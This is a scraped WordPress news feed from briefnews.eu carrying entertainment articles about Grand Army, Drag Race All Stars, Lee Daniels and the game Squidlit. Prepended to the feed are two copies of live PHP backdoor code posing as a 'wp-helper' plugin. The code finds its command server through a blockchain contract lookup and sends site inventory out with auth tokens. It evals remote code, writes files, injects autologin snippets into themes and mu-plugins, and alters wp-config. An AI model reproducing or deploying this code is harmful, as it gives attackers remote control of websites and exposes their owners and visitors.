// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); “authentic” – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 17 Oct 2020 08:32:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png “authentic” – Brief News https://briefnews.eu 32 32 Grand Army Premiere: Maliq Johnson on the Netflix Drama’s ‘Authentic’ Look at Issues Facing Black Teens in America https://briefnews.eu/grand-army-premiere-maliq-johnson-on-the-netflix-dramas-authentic-look-at-issues-facing-black-teens-in-america/ https://briefnews.eu/grand-army-premiere-maliq-johnson-on-the-netflix-dramas-authentic-look-at-issues-facing-black-teens-in-america/#respond Sat, 17 Oct 2020 08:32:40 +0000 https://briefnews.eu/grand-army-premiere-maliq-johnson-on-the-netflix-dramas-authentic-look-at-issues-facing-black-teens-in-america/

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Warning: This interview contains mild spoilers from the premiere of Netflix’s Grand Army.

Netflix’s newest teen addiction is no Riverdale — and that’s a very good thing.

Loosely based on a 2013 play by series creator Katie Cappiello, Grand Army follows five diverse students at a public high school in Brooklyn. The series, which dropped its first nine episodes on Friday, offers an unflinching look at the experiences of Gen Zers in America, including some challenges that more commonly face teens of color.

“Katie is really big on making it as authentic as possible,” Maliq Johnson, who plays sophomore musician Jayson Jackson, tells TVLine. “If there was a scenario where we felt like things would have gone differently for us in our own lives, she was very open to letting us tell her that. And if there was a way she could do it, she would put it in the show.”

Compared to some of his fellow classmates — who immediately find themselves tackling issues surrounding sexual identity, poverty and slut-shaming — Jay’s life feels comfortably undramatic from the outset. “He’s a goofball and he can be mischievous, but he doesn’t do anything with bad intentions,” Johnson says. “He’s a good kid.”

Unfortunately, like so many young Black men, Jay’s spirit is tested by a series of tragic circumstances. “Jay isn’t really aware of his responsibilities, and how different it is for him as a Black man in America… until something happens on the show that forces him to pay attention to his Blackness,” he teases.

Johnson continues, “I was raised with my parents telling me, ‘You’re a Black man. It’s different for you. If you get into a certain encounter, you have to think about how it’s going to be different for you, how the consequences are going to be more extreme. If something happens to you, it’s going to be hard to get a second chance.”

And this is just one example of the all-too-real problems tackled in Grand Army, whose first episode kicks off with a school-wide lockdown prompted by an incident of domestic terrorism nearby.

Did you check out the premiere of Grand Army? Cast your vote in our polls below, then drop a comment with your review.


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]]> https://briefnews.eu/grand-army-premiere-maliq-johnson-on-the-netflix-dramas-authentic-look-at-issues-facing-black-teens-in-america/feed/ 0 Drag Race All Stars Sneak Peek: Mayhem Miller Calls Out Miz Cracker For ‘Not Feeling Authentic’ https://briefnews.eu/drag-race-all-stars-sneak-peek-mayhem-miller-calls-out-miz-cracker-for-not-feeling-authentic/ https://briefnews.eu/drag-race-all-stars-sneak-peek-mayhem-miller-calls-out-miz-cracker-for-not-feeling-authentic/#respond Thu, 18 Jun 2020 19:32:28 +0000 https://briefnews.eu/drag-race-all-stars-sneak-peek-mayhem-miller-calls-out-miz-cracker-for-not-feeling-authentic/

Miz Cracker will Ru the day she decided to mess with Ongina. As seen in this sneak peek from Friday’s Drag Race All Stars (VH1, 8/7c), the queens haven’t forgotten what Cracker said to Ongina atop last week’s episode — and they want an explanation.

“My intention was to say, ‘Ongina, I want you to believe in yourself because I need to see that,’” Cracker says. “I went about it wrong. I should have said that, not what I said.”

Unsurprisingly, the queens aren’t buying it. “I don’t believe none of this,” Mayhem Miller says. “I’m just going to be real. I smell shenanigans, foolery and some tricks and shows. It’s not feeling authentic.”

“All I can do is apologize and say I was wrong,” Cracker replies, to which Alexis Mateo points out that it’s easy for Cracker to admit this now that it’s over. Moving forward, Alexis says, “I want to get to know everybody for real. If I don’t trust you, I’m going to go against you.”

But wait, there’s more. Jujubee then chimes in about what Alexis said to Cracker, saying, “I think you’re playing head games — and it’s working on some of these bitches.”

So, to recap: Cracker upset Ongina, which irked Mayhem, which riled up Alexis, which troubled Jujubee. Just another day in the All Stars 5 werkroom.

The clip also lays out this week’s maxi challenge, which requires the queens to team up and design a “signature suite for a five-star Ru-tique hotel.” Cracker is matched with Mariah Paris Balenciaga and Shea Coulee (who’s “feeling $ 20,000 richer” after last week’s win); Jujubee is joined by India Ferrah and Alexis; and Mayhem is paired with Blair St. Clair.

May the best ho(telier)s win!

Hit PLAY on the video above for a sneak peek of Friday’s Drag Race All Stars, then drop a comment with your thoughts below. Are the queens being too hard on Cracker — or not hard enough?

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]]> https://briefnews.eu/drag-race-all-stars-sneak-peek-mayhem-miller-calls-out-miz-cracker-for-not-feeling-authentic/feed/ 0 Breaking Big: How Lee Daniels Uses His Trauma to Tell Authentic Stories https://briefnews.eu/breaking-big-how-lee-daniels-uses-his-trauma-to-tell-authentic-stories/ https://briefnews.eu/breaking-big-how-lee-daniels-uses-his-trauma-to-tell-authentic-stories/#respond Sat, 11 Aug 2018 00:32:10 +0000 http://briefnews.eu/breaking-big-how-lee-daniels-uses-his-trauma-to-tell-authentic-stories/

OZY’s new TV show, Breaking Big, explores the secrets to success.OZY’s new TV show, Breaking Big, explores the secrets to success. Click to find out more.

Growing up in the rough neighborhoods of West Philadelphia, Lee Daniels always knew he was different from other kids. Despite losing his father at a young age and witnessing violence almost daily, Daniels believed he would to do something big.

And he was right. Today, Daniel’s is one of Hollywood’s leading writers, producers and directors. With Academy Award-winning films like “Monster’s Ball” and “Precious,” and critical darlings like “The Butler,” Daniels has managed to conquer both the independent and mainstream sides of Hollywood.

How did this gay Black man shatter stereotypes in the entertainment industry and overcome a traumatic upbringing to build a distinguished career? Not only has he found success — he’s created a cultural phenomenon.

“When I came to Hollywood, I was homeless, and then AIDS hit,” Daniels says. “My lovers were dying around me.” But that’s what makes Daniels such an authentic storyteller — the people he creates on screen are real. “As a director, I use those experiences,” he says.

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]]> https://briefnews.eu/breaking-big-how-lee-daniels-uses-his-trauma-to-tell-authentic-stories/feed/ 0 Squidlit Developers Talk About Creating An Authentic GameBoy Recreation https://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/ https://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/#respond Mon, 16 Apr 2018 00:59:35 +0000 http://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/ squidlitInterview_header.jpg

For those of you who miss the many shades of green, the chirpy sound effects, and the simplistic (yet challenging) gameplay of the Game Boy era, Squidlit is the answer to your prayers. A Game Boy-inspired platformer, Squidlit aims to create a nostalgic experience through simulating the limitations of the handheld with their title.

In their interview with IndieGames.com, Alex Barrett and Samantha Davenport talked about the challenges that came with designing a game for the classic system.

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What drew you to create an authentic Game Boy experience 15 years after its discontinuation?

Samantha: We are, first and foremost, people who really enjoy playing video games. To that effect, we have a collection of a few hundred games that spans back to the late 1970’s. When Alex came up with the idea of creating our own video game, it seemed to make sense that we start, essentially, at the beginning with a console we know well and love. The first console Alex played was the Nintendo DMG Game Boy, so it was a natural choice.

When we looked at other games that sought to capture the nostalgia of a previous console, we always noticed that while capturing the look of a console like the GameBoy, it’s hard to find one that goes to the lengths to recreate all the console’s limitations as well. We thought to ourselves that if you don’t see something you think should be there, make it yourself!

What challenges came with recreating the visual and audio style of the Game Boy?

Alex: I think the most challenging aspect of making Squidlit came from things going on in the background of the game. It was important to me that the four sound channels of the Game Boy be accurately represented. I had to make a system where if a sound effect used one of the channels dedicated to the music, the music on that channel would stop playing for the duration of the effect (it’s most noticeable when you talk to ooblugs). Also, almost all animations in Squidlit are synced to the beat of the music, so everything is that much cuter. This also took some finagling. Perhaps someone more experienced would have an easier time with stuff like this, but as my very first game it took months to figure out.

How did the limitations of the Game Boy technology affect the game’s design?

Alex: One of the more limiting aspects of the Game Boy was it’s inability to display more than 10 sprites in a horizontal line. Plip, for example, is made up of two 8 x 16 pixel sprites so the amount of obstacles we could throw in front of her was limited. I didn’t want any flickering to happen in Squidlit, so we had to go through every possible location of simultaneous objects on the screen and make sure we didn’t exceed this limit. The Game Boy also had an itty bitty 160 x 144 resolution screen, so you can’t see very far ahead of you. We put a lot of thought into trying to make the enemies fair in relation to your view.

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Were the play styles or visual themes dictated by the Game Boy limitations? How so?

Alex: I started doodling squidlits in high-school all over really serious things like math and economics. When I started making a game, I found they translated really well to the Game Boy’s limited palette. Kirby’s Dreamland was a big inspiration for Squidlit. Masahiro Sakurai, its director, once stated that the original concept for it used only one button. We took this to heart in trying to design a game around the Game Boy’s limited methods of input, and we ended up whittling the mechanics down to jumping and attacking using the same button.

What challenges did you face in creating cute characters and vibrant worlds when limited by the Game Boy’s visual style?

Samantha: When creating the world for Squidlit, we wouldn’t think about the technology at first. We would first talk about what the characters are like, what their world should be like, and what they would do. Skwit Skwot, God Emperor, does indeed have a reason for why she is creating this possibly dangerous magic, while Plip truly believes she must stop Skwit Skwot. The biggest challenge in this method was taking these grand ideas and finding ways to implement them into a GameBoy recreation. I think we managed quite well, as we ended up not having to sacrifice any of our major ideas.

